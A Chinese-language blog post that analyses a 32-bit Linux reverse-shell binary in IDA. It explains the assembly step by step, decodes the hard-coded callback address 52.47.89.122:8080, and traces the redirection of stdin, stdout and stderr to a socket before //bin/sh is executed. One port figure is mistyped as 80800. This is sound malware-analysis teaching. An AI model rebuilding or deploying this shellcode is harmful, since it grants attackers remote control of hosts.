Linux 反向 Shell 分析
大家好!我是大聪明-PLUS!
今天我想分享我在 CSDN 上首次对 Linux 的简单 shell 示例进行的分析。
让我们开始吧。
让我们在 DIE 中打开该文件。该示例适用于 32 位 UNIX 系统,未打包。


用 IDA 打开。我们看到了标准的 ELF 存根,它使文件可执行。464С457Fh 是小端格式的 ELF 头。-> .ELF。该地址0x08048018包含一个标签start——程序入口点。

该段LOAD具有读/写/执行权限。

LOAD 部分权限
Flags这由等于的字段证实7。
![]()
标志字段
Flags = 7→ 以位形式0b111
第 1 位 (0x1) →执行
第二位(0x2)→写入
第三位(0x4)→读取
开始标签
让我们看一下第一个片段。

开始标签
xor ebx,ebx- 清除寄存器ebx。->
mul ebx- 清除寄存器eax(简写为 mul eax, ebx - 可能是为了节省空间,这样就不用写 mov eax, 0)->
push ebx - 放入0。->
inc ebx- 将 ebx 的值增加1->
push ebx- 将值1放入堆栈。->
push 2- 放入堆栈2->
因此,我们得到一个特定的值数组[2,1,0]->
mov ecx, esp- 将此数组的地址移动到 ecx。->
mov al, 66h- 移动到 al(eax) 66h(66h - 在 32 位系统中表示 socketcall 系统调用)->
int 80h- Linux 中断,用于调用 socketcall->
xchg eax, ebx- 更改 eax 和 ebx 寄存器的内容。现在 ebx 包含套接字描述符。->
pop ecx- 最后添加的值从堆栈中弹出- 2>
结构本身如下所示:
struct sockaddr_in { short sin_family; // AF_INET = 2 unsigned short sin_port; // порт в сетевом порядке байт struct in_addr sin_addr; // IP-адрес char sin_zero[8]; // размер полей: sin_family(2 байта),sin_port(2 байта),sin_addr(4 байта)
};根据结构,下一个片段(标签 loc_8048065)包含连接的地址和端口。

连接地址
mov al, 3fh- 3f 是 Linux x86 中的 dup2 系统调用号。
dup2(oldfd, newfd) 复制文件描述符:ebx- 旧描述符,ecx- 新描述符。 ebx 已经存储了套接字描述符(在 socket() → xchg eax, ebx 之后保存)(图。开始标签)。 ecx 包含我们要替换的文件描述符的目标值。
int 80h- 启动 dup2,复制 ecx 中的套接字。
dec ecx- 将 ecx 减 1。
jns short loc_8048065- 循环运行,直到 SF 标志为零且 ecx 具有负值。
由于 ecx 包含 2,循环将运行 3 次迭代并在第三次退出。
2 - 1 = 1
1 - 1 = 0
0 - 1 = -1(SF < 0)因此循环将终止。
以下流重定向发生在循环本身内:
dup2(sock, 2)- 重定向stderr到套接字。
dup2(sock, 1)- 重定向stdout到套接字。
dup2(sock, 0)- 重定向stdin到套接字。
接下来是 sockaddr_in 的生成。IP
地址和连接端口就是在这里生成的。

连接地址和端口
第一个值 7A592F34h 是此反向shell连接的 in_addr 格式的 IP 地址。该地址是小端格式,因此我们将其转换为大端格式,并将系统更改为十进制。7A
59 2F 34(十六进制)= 34 2F 59 7A(十六进制)= 52.47.89.122
IP 地址中的每个字节对应一个八位字节,因此我们用句点分隔生成的地址。
第二个值 901F0002h 是 sin_port 和 sin_family。我们将对它们进行同样的操作。90
1F 00 02(十六进制)= 0200 1F90(十六进制)= 2 - AF_INET,00 是分隔符,80800 是连接端口。由于我们的端口长度为 2 个字节,因此我们每次将 2 个字节从十六进制转换为十进制,无需分隔。
确定地址和端口后,建立连接。
mov al, 66h- socketcall 系统调用 ->
push eax- sockaddr_in 结构的大小 ->
push ecx- 指向 sockaddr_in 的指针 ->
push ebx- 套接字描述符 ->
mov bl, 3- socketcall:连接子函数编号 ->
mov ecx, esp- 指向参数数组的指针 ->
int 80h- 连接到 52.47.89.122:8080
最终碎片。shell的形成。

shell的形成
push edx- edx = 0,将其压入堆栈。这是 shell 参数字符串的结尾。-
push 68732F6Eh是以 Little-endian 编码的 ASCII 字符。6E
(n) 2F(/) 73(s) 68(h) = n/sh
push 69622F2Fh- 2F(/) 2F(/) 62(b) 69(i) = //bi
mov ebx, esp- 指向字符串开头的指针,参数所在字符串,如果将它们相加,则得到//bin/sh 0。-
push edx将 0 压入堆栈,即数组的结尾。-
push ebx将字符串的开头和 shell 一起压入堆栈。-
mov ecx, esp将指向参数数组的指针移入 ecx。-
mov al, 0Bh将系统调用号移入 al(eax) execve。-
int 80h启动 shell 进程的中断。
结果
此示例是经典的 Linux 反向 shell,可能是使用 metasploit 创建的:
创建一个 TCP 套接字。
连接(或监听)特定端口。
将 stdin/stdout/stderr 重定向到套接字。
调用
/bin/sh,为攻击者提供完全的远程访问权限。分析到此结束。感谢您的关注,希望本次分析对您有所帮助。
